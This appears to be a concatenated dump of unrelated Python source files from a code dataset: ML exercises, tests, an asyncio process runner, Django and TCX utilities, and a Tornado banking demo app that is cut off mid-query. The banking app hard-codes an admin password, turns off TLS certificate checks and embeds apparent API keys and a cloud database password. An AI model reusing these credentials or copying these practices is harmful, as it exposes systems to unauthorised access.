plt.show()\n\n # append x0\n X = np.concatenate((np.ones((m, 1)), _X), axis=1)\n\n # test compute_cost function\n print('testing cost...')\n\n theta = np.matrix([[0], [0]])\n print('\\ntest cost where theta = [0; 0]')\n print('computed cost (approx): %.2f' % cost.compute_cost(X, y, theta, m))\n print('expected cost (approx): 32.07')\n\n theta = np.matrix([[-1], [2]])\n print('\\ntest cost where theta = [-1; 2]')\n print('computed cost (approx): %.2f' % cost.compute_cost(X, y, theta, m))\n print('expected cost (approx): 54.24')\n\n # gradient descent settings\n alpha = 0.01\n num_iters = 1500\n\n # run gradient descent\n print('\\nrunning gradient descent...')\n theta, cost_history = gd.gradient_descent(X, y, theta, m, alpha, num_iters)\n\n # print values of theta\n print('\\ntheta found by gradient descent: ', np.ndarray.tolist(theta))\n print('\\nexpected value of theta (approx):', [[-3.6303], [1.1664]])\n\n # show plots\n plt.scatter(_X, y, color='red', marker='x')\n plt.plot(_X, X*theta, color='blue')\n plt.show()\n\n plt.plot(np.arange(num_iters), cost_history, color='blue')\n plt.show()\n\n\ndef ex1_multi():\n \"\"\"\n ex1_multi ...\n \"\"\"\n\n # read in data\n data = np.genfromtxt('ex1data2.txt', delimiter=',')\n y = np.array(data[:, -1:])\n m = y.shape[0]\n\n # show plots\n for i in range(data.shape[1]-1):\n _X = np.array(data[:, i])\n plt.scatter(_X, y, color='red', marker='x')\n plt.show()\n\n _X = np.array(data[:, :-1])\n\n # normalize features\n print('normalizing features...')\n _X, mu, sigma = fnorm.feature_normalize(_X)\n\n # append x0\n X = np.concatenate((np.ones((m, 1)), _X), axis=1)\n\n # gradient descent settings\n alpha = 0.3\n num_iters = 400\n theta = np.matrix([[0]] * data.shape[1])\n\n # run gradient descent\n print('\\nrunning gradient descent...')\n theta, cost_history = gd.gradient_descent(X, y, theta, m, alpha, num_iters)\n\n print('theta found by gradient descent:\\n', theta)\n\n house = np.array([1, (1650-mu[0])/sigma[0], (3-mu[1])/sigma[1]])\n price = np.ndarray.tolist(np.matmul(house, theta))[0][0]\n print('predicted price of a 1650 sq-ft, 3 br house: $%.2f' % price)\n\n # show plots\n plt.plot(np.arange(num_iters), cost_history, color='blue')\n plt.show()\n\n X = np.array(data[:, :-1])\n X = np.concatenate((np.ones((m, 1)), X), axis=1)\n\n # run normal equation\n print('\\nrunning normal equation...')\n theta = normeq.normal_equation(X, y)\n\n print('theta found by normal equation:\\n', theta)\n\n house = np.array([1, 1650, 3])\n price = np.ndarray.tolist(np.matmul(house, theta))[0]\n print('predicted price of a 1650 sq-ft, 3 br house: $%.2f' % price)\n\n\nif __name__ == '__main__':\n ex1_multi()","sub_path":"week02/assignment/python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"310750273","text":"import pytest\nimport numpy as np\nimport math\n\nfrom utils.functions.plot.drawing import circle_make, circle_make_with_angles, square_make_with_angles\n\nclass TestDrawing(object):\n def test_cicle_make(self):\n x = 1.0\n y = 2.0\n radius = 5.1\n xs, ys = circle_make(x, y, radius)\n dis_check = False\n\n for i in range(len(xs)):\n dis = math.sqrt((xs[i] - x)**2 + (ys[i] - y)**2)\n if round(dis, 3) != radius:\n dis_check = True\n\n assert len([i for i in xs if i > x + radius]) == 0 # maximum x\n assert len([i for i in ys if i > y + radius]) == 0 # maximum y\n assert len([i for i in xs if i < x - radius]) == 0 # minimum x\n assert len([i for i in ys if i < y - radius]) == 0 # minimum y\n assert not dis_check # distance checking\n\n def test_cicle_make_with_angle(self):\n x = 1.0\n y = 2.0\n angle = 2.1\n radius = 5.6\n dis_check_1 = False\n dis_check_2 = False\n\n xs, ys, angle_xs, angle_ys = circle_make_with_angles(x, y, radius, angle)\n\n for i in range(xs.shape[0]):\n dis = math.sqrt((xs[i] - x)**2 + (ys[i] - y)**2)\n if round(dis, 3) != radius:\n dis_check = True\n\n dis = math.sqrt((angle_xs[1] - x)**2 + (angle_ys[1] - y)**2)\n if round(dis, 3) != radius:\n dis_check_2 = True\n\n assert len([i for i in xs if i > x + radius]) == 0 # maximum x\n assert len([i for i in ys if i > y + radius]) == 0 # maximum y\n assert len([i for i in xs if i < x - radius]) == 0 # minimum x\n assert len([i for i in ys if i < y - radius]) == 0 # minimum y\n assert not dis_check_1 # distance checking\n assert not dis_check_2\n\n def test_square_make_with_angle(self):\n x = 1.0\n y = 2.0\n angle = 2.0\n size = 1.0\n\n xs, ys, angle_xs, angle_ys = square_make_with_angles(x, y, size, angle)\n\n assert xs.shape[0] == 5\n\n for i in range(xs.shape[0]):\n dis = math.sqrt((xs[i] - x)**2 + (ys[i] - y)**2)\n assert round(dis, 5) == round(math.sqrt(2.0), 5)\n \n assert round(xs[0], 5) == -0.32544\n assert round(ys[0], 5) == 2.49315\n assert round(xs[1], 5) == 0.50685\n assert round(ys[1], 5) == 0.67456\n \nif __name__ == '__main__':\n pytest.main()","sub_path":"tests/functions/plot/test_drawing.py","file_name":"test_drawing.py","file_ext":"py","file_size_in_byte":2383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"383750595","text":"# 请在根目录下运行,不然可能会找不到模型\nimport os\nfrom keras.preprocessing.sequence import pad_sequences\nfrom util.mapmap import PinyinMapper,ChsMapper\nfrom jointly.DCHMM import DCHMM\nfrom jointly.DCSOM import DCSOM\nfrom language.SOMM import SOMMalpha\n\ndir_path = os.path.split(os.path.realpath(__file__))[0] #\"./util\"\n\ndef predict_dchmm(path = \"./model/DCBNN1D_cur_best.h5\"):\n dcnn = DCHMM(\n acmodel_input_shape=(1600, 200),\n acmodel_output_shape=(200,),\n lgmodel_input_shape=None,\n py_map=PinyinMapper(sil_mode=-1),\n chs_map=ChsMapper())\n\n dcnn.compile(path)\n\n while True:\n pyline, chline, prob = dcnn.record_from_cmd(3)\n print(pyline, chline, prob)\n\ndef predict_dcsom(ac_path = \"./model/DCBNN1D_cur_best.h5\",lg_path = \"./model/language/SOMMalpha_step_18000.h5\"):\n dcs = DCSOM(acmodel_input_shape=(1600,200),\n acmodel_output_shape=(200,),\n lgmodel_input_shape=(200,),\n py_map=PinyinMapper(sil_mode=-1),\n chs_map=ChsMapper(),\n divide_feature=8)\n\n dcs.compile(ac_path,lg_path)\n while True:\n try:\n print(dcs.record_from_cmd(5))\n except:\n print(\"[info*]未识别到语音\")\n\ndef predict_sommalpha(path):\n max_label_len = 200\n pinyin_map = PinyinMapper(sil_mode=0)\n chs_map = ChsMapper()\n\n model_helper = SOMMalpha()\n model_helper.compile(feature_shape=(max_label_len,),\n ms_pinyin_size=pinyin_map.max_index,\n ms_output_size=chs_map.categores)\n\n model_helper.load(path)\n\n while True:\n string = input(\"请输入拼音:\")\n xs = [pinyin_map.alist2vector(string)]\n print(xs)\n batch = pad_sequences(xs,maxlen=max_label_len,padding=\"post\",truncating=\"post\"),None\n result = model_helper.predict(batch)[0]\n # print(result)\n print(result.replace(\"_\",\"\"))\n\n","sub_path":"examples/real_predict.py","file_name":"real_predict.py","file_ext":"py","file_size_in_byte":1960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"547114889","text":"import sys\nimport os\nimport signal\nimport asyncio\nimport asyncio_channel as ch\nimport traceback\n\ncomponent_channels = {}\n\nRESET = \"\\033[0m\"\nLOG_COLOR = \"\\033[38;5;69m\"\nMSG_COLOR = \"\\033[38;5;195m\"\nTITLE = \"\\033[1m\"\n\nasync def process_stdout(proc, name):\n while True:\n receiver = \"\"\n while receiver == \"\":\n receiver = await proc.stdout.readexactly(5)\n receiver = receiver[:-1]\n data = (await proc.stdout.readuntil(b\"\\n\"))[:-1]\n\n print(f\"{MSG_COLOR}{name.decode('utf-8')}->{receiver.decode('utf-8')}{RESET} {repr(data)}\")\n await component_channels[receiver].put((name, data))\n\nasync def send_stdin(proc, ch):\n async for (sender, data) in ch:\n proc.stdin.write(sender + b\"\\n\" + data + b\"\\n\")\n await proc.stdin.drain()\n\nasync def pretty_stderr(proc, name):\n while True:\n line = await proc.stderr.readline()\n print(f\"{LOG_COLOR}LOG [{name}]{RESET} {line.decode('utf-8').strip()}\")\n\nasync def start_component(cmd, name):\n print(f\"{TITLE}Starting {name}{RESET}\")\n name_b = name.encode(\"utf-8\")\n\n msg_channel = ch.create_channel()\n component_channels[name_b] = msg_channel\n\n proc = await asyncio.create_subprocess_shell(\n cmd,\n cwd=os.path.join(\"components\", name), # Undocumented!\n stdin=asyncio.subprocess.PIPE,\n stdout=asyncio.subprocess.PIPE,\n stderr=asyncio.subprocess.PIPE,\n )\n\n await asyncio.gather(\n process_stdout(proc, name_b),\n send_stdin(proc, msg_channel),\n pretty_stderr(proc, name),\n )\n\nasync def main():\n os.setpgrp() # create new process group, become its leader\n\n try:\n await asyncio.gather(\n start_component(\"python3 run.py /dev/ttys005\", \"INTR\"),\n start_component(\"python3 run.py\", \"RLAY\"),\n start_component(\"python3 run.py\", \"CONS\"),\n )\n except:\n traceback.print_exc()\n finally:\n print(\"bye\")\n os.killpg(0, signal.SIGKILL) # kill all processes in my group\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n","sub_path":"glue/glue.py","file_name":"glue.py","file_ext":"py","file_size_in_byte":2071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"110687119","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nDRIVERS_DIR = 'gbpservice.contrib.nfp.configurator.drivers'\nSERVICE_TYPE = 'generic_config'\nEVENT_CONFIGURE_INTERFACES = 'CONFIGURE_INTERFACES'\nEVENT_CLEAR_INTERFACES = 'CLEAR_INTERFACES'\nEVENT_CONFIGURE_ROUTES = 'CONFIGURE_ROUTES'\nEVENT_CLEAR_ROUTES = 'CLEAR_ROUTES'\nEVENT_CONFIGURE_HEALTHMONITOR = 'CONFIGURE_HEALTHMONITOR'\nEVENT_CLEAR_HEALTHMONITOR = 'CLEAR_HEALTHMONITOR'\n\nMAX_FAIL_COUNT = 12 # 5 secs delay * 12 = 60 secs\nINITIAL = 'initial'\nFOREVER = 'forever'\nINITIAL_HM_RETRIES = 24 # 5 secs delay * 24 = 120 secs\n","sub_path":"gbpservice/contrib/nfp/configurator/lib/generic_config_constants.py","file_name":"generic_config_constants.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"580515240","text":"\"\"\"Objects for importing Garmin activity data from Garmin Connect downloads and FIT files.\"\"\"\n\n__author__ = \"Tom Goetz\"\n__copyright__ = \"Copyright Tom Goetz\"\n__license__ = \"GPL\"\n\n\nimport sys\nimport logging\nimport dateutil.parser\nimport re\n\nimport tcxparser\nimport GarminDB\n\nlogger = logging.getLogger(__file__)\nlogger.addHandler(logging.StreamHandler(stream=sys.stdout))\nroot_logger = logging.getLogger()\n\n\nclass TcxFile(object):\n \"\"\"Wraps third party TCX library and handles requests for nonexistent fields.\"\"\"\n\n def __init__(self, filename):\n \"\"\"Return an instance of TcxFile containing a parsed TCX file.\"\"\"\n self.tcx = tcxparser.TCXParser(filename)\n\n def get_value(self, attribute):\n \"\"\"Return a value named 'attribute' from the parsed TCX file.\"\"\"\n try:\n return getattr(self.tcx, attribute, None)\n except Exception:\n return None\n\n def get_date(self, attribute):\n \"\"\"Return a datetime named 'attribute' from the parsed TCX file.\"\"\"\n date_str = self.get_value(attribute)\n if date_str:\n try:\n return dateutil.parser.parse(date_str, ignoretz=True)\n except (ValueError, AttributeError) as e:\n logger.error(\"%s for %s value %r\", e, attribute, date_str)\n\n def get_manufacturer_and_product(self):\n \"\"\"Return the product and interperlated manufacturer from the parsed TCX file.\"\"\"\n product = self.get_value('creator')\n if product:\n manufacturer = GarminDB.Device.Manufacturer.Unknown\n if product is not None:\n match = re.search('Forerunner|Fenix', product)\n if match:\n manufacturer = GarminDB.Device.Manufacturer.Garmin\n match = re.search('Microsoft', product)\n if match:\n manufacturer = GarminDB.Device.Manufacturer.Microsoft\n return (manufacturer, product)\n return (None, None)\n\n def get_serial_number(self):\n \"\"\"Return the serial number of the device that recorded the parsed TCX file.\"\"\"\n serial_number = self.get_value('creator_version')\n if serial_number is None or serial_number == 0:\n serial_number = GarminDB.Device.unknown_device_serial_number\n return serial_number\n\n def get_lap_count(self):\n \"\"\"Return the number of laps recorded in the parsed TCX file.\"\"\"\n return self.get_value('lap_count')\n\n def get_sport(self):\n \"\"\"Return the sport recorded in the parsed TCX file.\"\"\"\n return self.get_value('activity_type')\n","sub_path":"tcx_file.py","file_name":"tcx_file.py","file_ext":"py","file_size_in_byte":2601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"200265197","text":"from blueware.agent import (callable_name, current_transaction, \n FunctionTrace, FunctionWrapper,wrap_error_trace)\nfrom blueware.hooks.framework_django import should_ignore, wrap_view_handler\n\n\ndef wrap_url_resolver(wrapped):\n\n # Wrap URL resolver. If resolver returns valid result then\n # wrap the view handler returned. The type of the result\n # changes across Django versions so need to check and adapt\n # as necessary. For a 404 then a user supplied 404 handler\n # or the default 404 handler should get later invoked and\n # transaction should be named after that.\n\n name = callable_name(wrapped)\n\n def wrapper(wrapped, instance, args, kwargs):\n transaction = current_transaction()\n\n if transaction is None:\n return wrapped(*args, **kwargs)\n\n if hasattr(transaction, '_bw_django_url_resolver'):\n return wrapped(*args, **kwargs)\n\n # Tag the transaction so we know when we are in the top\n # level call to the URL resolver as don't want to show\n # the inner ones as would be one for each url pattern.\n\n transaction._bw_django_url_resolver = True\n\n def _wrapped(path):\n # XXX This can raise a Resolver404. If this is not dealt\n # with, is this the source of our unnamed 404 requests.\n\n with FunctionTrace(transaction, name=name, label=path):\n result = wrapped(path)\n\n if type(result) == type(()):\n callback, callback_args, callback_kwargs = result\n result = (wrap_view_handler(callback, priority=5),\n callback_args, callback_kwargs)\n else:\n result.func = wrap_view_handler(result.func, priority=5)\n\n return result\n\n try:\n return _wrapped(*args, **kwargs)\n\n finally:\n del transaction._bw_django_url_resolver\n\n return FunctionWrapper(wrapped, wrapper)\n\n\ndef wrap_url_resolver_nnn(wrapped, priority=1):\n\n # Wrapper to be applied to the URL resolver for errors.\n\n name = callable_name(wrapped)\n\n def wrapper(wrapped, instance, args, kwargs):\n transaction = current_transaction()\n\n if transaction is None:\n return wrapped(*args, **kwargs)\n\n with FunctionTrace(transaction, name=name):\n callback, param_dict = wrapped(*args, **kwargs)\n return (wrap_view_handler(callback, priority=priority),\n param_dict)\n\n return FunctionWrapper(wrapped, wrapper)\n\ndef wrap_url_reverse(wrapped):\n\n # Wrap the URL resolver reverse lookup. Where the view\n # handler is passed in we need to strip any instrumentation\n # wrapper to ensure that it doesn't interfere with the\n # lookup process. Technically this may now not be required\n # as we have improved the proxying in the object wrapper,\n # but do it just to avoid any potential for problems.\n\n def wrapper(wrapped, instance, args, kwargs):\n def execute(viewname, *args, **kwargs):\n if hasattr(viewname, '_bw_last_object'):\n viewname = viewname._bw_last_object\n return wrapped(viewname, *args, **kwargs)\n return execute(*args, **kwargs)\n\n return FunctionWrapper(wrapped, wrapper)\n\ndef instrument_django_core_urlresolvers(module):\n\n # Wrap method which maps a string version of a function\n # name as used in urls.py pattern so can capture any\n # exception which is raised during that process.\n # Normally Django captures import errors at this point\n # and then reraises a ViewDoesNotExist exception with\n # details of the original error and traceback being\n # lost. We thus intercept it here so can capture that\n # traceback which is otherwise lost. Although we ignore\n # a Http404 exception here, it probably is never the\n # case that one can be raised by get_callable().\n\n wrap_error_trace(module, 'get_callable', ignore_errors=should_ignore)\n\n # Wrap methods which resolves a request to a view handler.\n # This can be called against a resolver initialised against\n # a custom URL conf associated with a specific request, or a\n # resolver which uses the default URL conf.\n\n module.RegexURLResolver.resolve = wrap_url_resolver(\n module.RegexURLResolver.resolve)\n\n # Wrap methods which resolve error handlers. For 403 and 404\n # we give these higher naming priority over any prior\n # middleware or view handler to give them visibility. For a\n # 500, which will be triggered for unhandled exception, we\n # leave any original name derived from a middleware or view\n # handler in place so error details identify the correct\n # transaction.\n\n if hasattr(module.RegexURLResolver, 'resolve403'):\n module.RegexURLResolver.resolve403 = wrap_url_resolver_nnn(\n module.RegexURLResolver.resolve403, priority=3)\n\n if hasattr(module.RegexURLResolver, 'resolve404'):\n module.RegexURLResolver.resolve404 = wrap_url_resolver_nnn(\n module.RegexURLResolver.resolve404, priority=3)\n\n if hasattr(module.RegexURLResolver, 'resolve500'):\n module.RegexURLResolver.resolve500 = wrap_url_resolver_nnn(\n module.RegexURLResolver.resolve500, priority=1)\n\n if hasattr(module.RegexURLResolver, 'resolve_error_handler'):\n module.RegexURLResolver.resolve_error_handler = wrap_url_resolver_nnn(\n module.RegexURLResolver.resolve_error_handler, priority=1)\n\n # Wrap function for performing reverse URL lookup to strip any\n # instrumentation wrapper when view handler is passed in.\n\n module.reverse = wrap_url_reverse(module.reverse)\n","sub_path":"blueware/hooks/framework_django/core/urlresolvers.py","file_name":"urlresolvers.py","file_ext":"py","file_size_in_byte":5711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"591311702","text":"import numpy as np\n\nN = int(input())\n\nA = np.zeros((N,2))\nB = np.zeros((N,2))\n\nfor i in range(N):\n A[i] = list(map(int, input().split()))\nfor i in range(N):\n B[i] = list(map(int, input().split()))\n\nA -= np.mean(A, axis=0, keepdims=True)\nB -= np.mean(B, axis=0, keepdims=True)\n\ndist_A = np.mean(np.sqrt(A[:,0]**2 + A[:,1]**2))\ndist_B = np.mean(np.sqrt(B[:,0]**2 + B[:,1]**2))\n\nprint(dist_B/dist_A)\n","sub_path":"work/atcoder/abc/abc022/D/answers/127293_hahho.py","file_name":"127293_hahho.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"536136553","text":"# Import randint function from random library\nfrom random import randint\n\n# function to check for the given sum in the array \ndef printPairs(arr, arr_size, sum): \n # Variable that response for collisions\n collisions = 0\n\t# Create an empty hash set \n s = set()\n\n # Algoritm itself\n for el in arr: \n temp = sum-el \n if (temp in s):\n # Success \n print( f'Pair with given sum {sum} is ({el}, {temp})')\n else:\n # Collision\n collisions += 1\n s.add(el)\n \n print('Collisions:',collisions)\n\n\n# driver program to check the above function\nA = [randint(1, 100) for _ in range(100)]\nn = randint(1, 100)\nprintPairs(A, len(A), n)","sub_path":"Fifth_lab/fifth.py","file_name":"fifth.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"635126820","text":"from django.urls import path\nfrom . import views\nfrom users import views as user_views\nfrom .views import PostListView,PostDeleteView, PostDetailView, PostCreateView,PostUpdateView,UserPostListView\n\n\nurlpatterns = [\n path('', PostListView.as_view(),name='blog-home'),\n path('about/', views.about,name='blog-about'),\n path('register/',user_views.register,name='register'),\n path('post//', PostDetailView.as_view(),name='post-detail'),\n path('post/new/', PostCreateView.as_view(),name='post-create'),\n path('post//update/', PostUpdateView.as_view(),name='post-update'),\n path('post//delete/', PostDeleteView.as_view(),name='post-delete'),\n path('user//posts/', UserPostListView.as_view(),name='user-posts'),\n\n]\n","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"437688115","text":"# -*- encoding: utf-8 -*-\n\n# django apps\nfrom django.test import TestCase\n\n# our apps\nfrom . import helpers\nfrom .models import Card, User, StatusCard\n\n\nclass SaveMoneyTests(TestCase):\n ''' 存钱 '''\n\n fixtures = ['initial_card.json']\n\n def setUp(self):\n pass\n Card.objects.create(status_id=1)\n User.objects.create(name='u01')\n\n def test_save_money(self):\n ''' 存钱: 正常 '''\n money = 100\n card = Card.objects.get(pk=1)\n u = User.objects.get(pk=1)\n helpers.save_money(card, money, u)\n obj_card = Card.objects.get(pk=1)\n self.assertEqual(obj_card.money, money, '金额错误')\n\n def test_save_moeny_status_error(self):\n ''' 存钱: 状态错误 '''\n money = 100\n card = Card.objects.get(pk=1)\n u = User.objects.get(pk=1)\n\n obj_status = StatusCard.objects.get(name='销户')\n card.status = obj_status\n card.save()\n\n with self.assertRaises(ValueError):\n helpers.save_money(card, money, u)\n\n obj_card = Card.objects.get(pk=1)\n self.assertEqual(obj_card.money, 0)\n\n\n","sub_path":"src/card/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"398394953","text":"import sys\nimport os\n\nMARK = '#'\n\nclass Bar(object):\n\n def __init__(self,job_size=50,marker=MARK):\n self.__job_size = job_size\n if job_size < 50:\n self.__length_ref = job_size\n else:\n self.__length_ref = 50\n self.__marker = marker\n self.__currstep = 0\n self.__steppause = job_size // self.__length_ref\n self.__switchpoint = self.__length_ref - (job_size % self.__length_ref)\n self.__waitcount = 0\n\n @property\n def marker(self):\n return self.__marker\n\n @marker.setter\n def marker(self,new_marker):\n self.__marker = new_marker\n\n @property\n def currstep(self):\n return self.__currstep\n\n @currstep.setter\n def currstep(self,new_step):\n self.__currstep = new_step\n\n\n def start(self):\n print('[' + ' '* self.__length_ref + ']',end=''),print('\\b'*(self.__length_ref + 1),end=''),sys.stdout.flush()\n\n def update(self):\n if self.__currstep < self.__length_ref -1:\n self.__currstep += 1\n print(self.__marker,end=''),sys.stdout.flush()\n else:\n print(self.__marker + ']'),sys.stdout.flush()\n\n def autoUpdate(self):\n if self.__currstep == self.__switchpoint and self.__waitcount == 0:\n self.__steppause = self.__steppause + 1\n self.__waitcount = (self.__waitcount + 1) % self.__steppause\n if self.__waitcount == 0:\n if self.__currstep < self.__length_ref - 1:\n self.__currstep += 1\n print(self.__marker,end=''),sys.stdout.flush()\n else:\n print(self.__marker + ']'),sys.stdout.flush()\n\n","sub_path":"showprogress/ShowProgress.py","file_name":"ShowProgress.py","file_ext":"py","file_size_in_byte":1716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"221831529","text":"import os\nimport json\nimport requests\nimport tornado.web\nimport tornado.ioloop\nimport tornado.autoreload\nimport sys\nimport asyncio\nimport psycopg2\nimport time\n\n# On IBM Cloud Cloud Foundry, get the port number from the environment variable PORT\n# When running this app on the local machine, default the port to 8000\nport = int(os.getenv('PORT', 8080))\n#port=8000\nclass landingPage(tornado.web.RequestHandler):\n def get(self):\n self.render(\"static/trial.html\")\n \nclass HomePage(tornado.web.RequestHandler):\n def get(self):\n self.render(\"static/indexx.html\")\n\nclass Login(tornado.web.RequestHandler):\n def post(self):\n #base_url = 'https://api.eu-gb.apiconnect.appdomain.cloud/m1ganeshtcscom1543928228162-dev/sb/payments/custReg?acctId='\n # 100000001001 is the only working answer\n #headers = {'Content-Type': 'application/json'}\n print(\"inside login\")\n username = str(self.get_body_argument(\"uname\"))\n print(username)\n pwd = str(self.get_body_argument(\"pass\"))\n print(pwd)\n #end_url= base_url+str(self.get_body_argument(\"accnt\"))\n #req = requests.get(end_url, headers=headers, auth=('701e3938-c7c7-4568-9e3b-d474bfb39700', ''), verify=False)\n #json_out = req.json()\n print(\"json\")\n if username ==\"admin\" and pwd == \"adminpass\":\n print(\"success\")\n self.render(\"static/indexx.html\")\n else:\n print(\"no\")\n self.render(\"static/trial.html\")\n #print(json_out)\n #self.render(\"static/genericresp.html\",msg=json_out['CSRGRES']['CSRGRES']['MESSAGES'],cname=json_out['CSRGRES']['CSRGRES']['CUSTOMER_NAME'],cid=json_out['CSRGRES']['CSRGRES']['CUSTOMER_ID'],date=json_out['CSRGRES']['CSRGRES']['SYS_DATE'],time=json_out['CSRGRES']['CSRGRES']['SYS_TIME'],bloc=\"regreq\")\n\n\n\n\nclass basicRequestHandler(tornado.web.RequestHandler):\n def get(self):\n self.render(\"static/register.html\")\n\n\n\nclass regRequ(tornado.web.RequestHandler):\n def post(self):\n base_url = 'https://192.86.32.113:19443/cbsrgdbbapi/cusreg?AcctNo='\n # 100000001001 is the only working answer\n #https://192.86.33.94:19443/cbs/cusreg?AcctNo=\n #https://192.86.33.94:19443/cbsrgdbbapi/cusreg?AcctNo=\n headers = {'Content-Type': 'application/json'}\n end_url= base_url+str(self.get_body_argument(\"accnt\"))\n print(\"before\")\n req = requests.get(end_url, headers=headers, auth=('ibmuser', 'ibmuser'), verify=False)\n json_out = req.json()\n print(\"json\")\n print(json_out)\n self.render(\"static/genericresp.html\",msg=json_out['CSRGRES']['CSRGRES']['MESSAGES'],cname=json_out['CSRGRES']['CSRGRES']['CUSTOMER_NAME'],cid=json_out['CSRGRES']['CSRGRES']['CUSTOMER_ID'],date=json_out['CSRGRES']['CSRGRES']['SYS_DATE'],time=json_out['CSRGRES']['CSRGRES']['SYS_TIME'],bloc=\"regreq\")\n\nclass basicDeRequestHandler(tornado.web.RequestHandler):\n def get(self):\n self.render(\"static/deregister.html\")\n\nclass deRegRequ(tornado.web.RequestHandler):\n def post(self):\n base_url = 'https://api.eu-gb.apiconnect.appdomain.cloud/m1ganeshtcscom1543928228162-dev/sb/payments/custDreg?acctId='\n #base_url = 'https://192.86.33.94:19443/cbscs/cusdereg?AcctNo='\n #'https://gateway.aipc1.cp4i-b2e73aa4eddf9dc566faa4f42ccdd306-0001.us-east.containers.appdomain.cloud/sachinsorg/sandbox/payments/custDreg?acctId='\n # 100000001001 is the only working answer\n headers = {'Content-Type': 'application/json'}\n end_url= base_url+str(self.get_body_argument(\"accnt\"))\n print(\"dereg\")\n req = requests.get(end_url, headers=headers, auth=('ef748535-de65-4edb-a0fd-89f94ed994d3', ''), verify=False)\n json_out = req.json()\n print(\"dereg req\")\n self.render(\"static/genericresp.html\",msg=json_out['CSDGRES']['CSRGRES']['MESSAGES'],cname=json_out['CSDGRES']['CSRGRES']['CUSTOMER_NAME'],cid=json_out['CSDGRES']['CSRGRES']['CUSTOMER_ID'],date=json_out['CSDGRES']['CSRGRES']['SYS_DATE'],time=json_out['CSDGRES']['CSRGRES']['SYS_TIME'],bloc=\"deregreq\")\n\nclass basicPayHandler(tornado.web.RequestHandler):\n def get(self):\n self.render(\"static/pay.html\")\n\nclass payRequ(tornado.web.RequestHandler):\n def post(self):\n # base_url = 'https://192.86.33.94:19443/cuspymtauth/cuspay?debitamt='\n # #base_url = 'https://gateway.aipc1.cp4i-b2e73aa4eddf9dc566faa4f42ccdd306-0001.us-east.containers.appdomain.cloud/sachinsorg/sandbox/payments/pymntAuth?acctId='\n base_url = 'https://api.eu-gb.apiconnect.appdomain.cloud/m1ganeshtcscom1543928228162-dev/sb/payments/pymntAuth?acctId='\n \t# 100000001001 is the only working answer\n headers = {'Content-Type': 'application/json'}\n acct=str(self.get_body_argument(\"accnt\"))\n end_url= base_url+str(self.get_body_argument(\"accnt\"))+\"&debitAmt=\"+str(self.get_body_argument(\"debit_amt\"))\n req = requests.get(end_url, headers=headers, auth=('ef748535-de65-4edb-a0fd-89f94ed994d3', ''), verify=False)\n json_out = req.json()\n self.render(\"static/genericresp.html\",msg=json_out['CSPYRES']['CSPYRES']['MESSAGES'],cname=json_out['CSPYRES']['CSPYRES']['CUSTOMER_NAME'],hbal=json_out['CSPYRES']['CSPYRES']['HOLD_BALANCE'],lbal=json_out['CSPYRES']['CSPYRES']['LEDGER_BL'],bal=json_out['CSPYRES']['CSPYRES']['AVAILABLE_BALANCE'],cid=json_out['CSPYRES']['CSPYRES']['CUSTOMER_ID'],damt=json_out['CSPYRES']['CSPYRES']['DEBIT_AMOUNT_RES'],tid=json_out['CSPYRES']['CSPYRES']['TRANSACTION_ID'],date=json_out['CSPYRES']['CSPYRES']['SYS_DATE'],time=json_out['CSPYRES']['CSPYRES']['SYS_TIME'],bloc=\"payauth\")\n print(\"message\")\n mes=json_out['CSPYRES']['CSPYRES']['MESSAGES']\n cust_name=json_out['CSPYRES']['CSPYRES']['CUSTOMER_NAME']\n hold_bal=json_out['CSPYRES']['CSPYRES']['HOLD_BALANCE']\n ldgr_bal=json_out['CSPYRES']['CSPYRES']['LEDGER_BL']\n avail_bal=json_out['CSPYRES']['CSPYRES']['AVAILABLE_BALANCE']\n cust_id=json_out['CSPYRES']['CSPYRES']['CUSTOMER_ID']\n sysDate=json_out['CSPYRES']['CSPYRES']['SYS_DATE']\n debitAmt=json_out['CSPYRES']['CSPYRES']['DEBIT_AMOUNT_RES']\n transID=json_out['CSPYRES']['CSPYRES']['TRANSACTION_ID']\n sysTime1=json_out['CSPYRES']['CSPYRES']['SYS_TIME']\n sysTime = sysTime1.replace(\".\", \":\")\n systimestamp=time.ctime()\n try:\n connection = psycopg2.connect(host=\"dbaas901.hyperp-dbaas.cloud.ibm.com\",port=29491,database=\"admin\",user=\"admin\",password=\"fading2White!!!\")\n print(\"Connected\")\n cursor = connection.cursor()\n postgres_insert_query = \"\"\" INSERT INTO \"TCS-Schema\".\"PayLog\"(cust_name, message, \"timestampSys\",\"Customer_ID\", \"Response_Date\", \"Response_Time\", \"Trans_ID\",\"debitAmt\", \"Balance\", hold_bal, ledger_bal,acct_no) VALUES 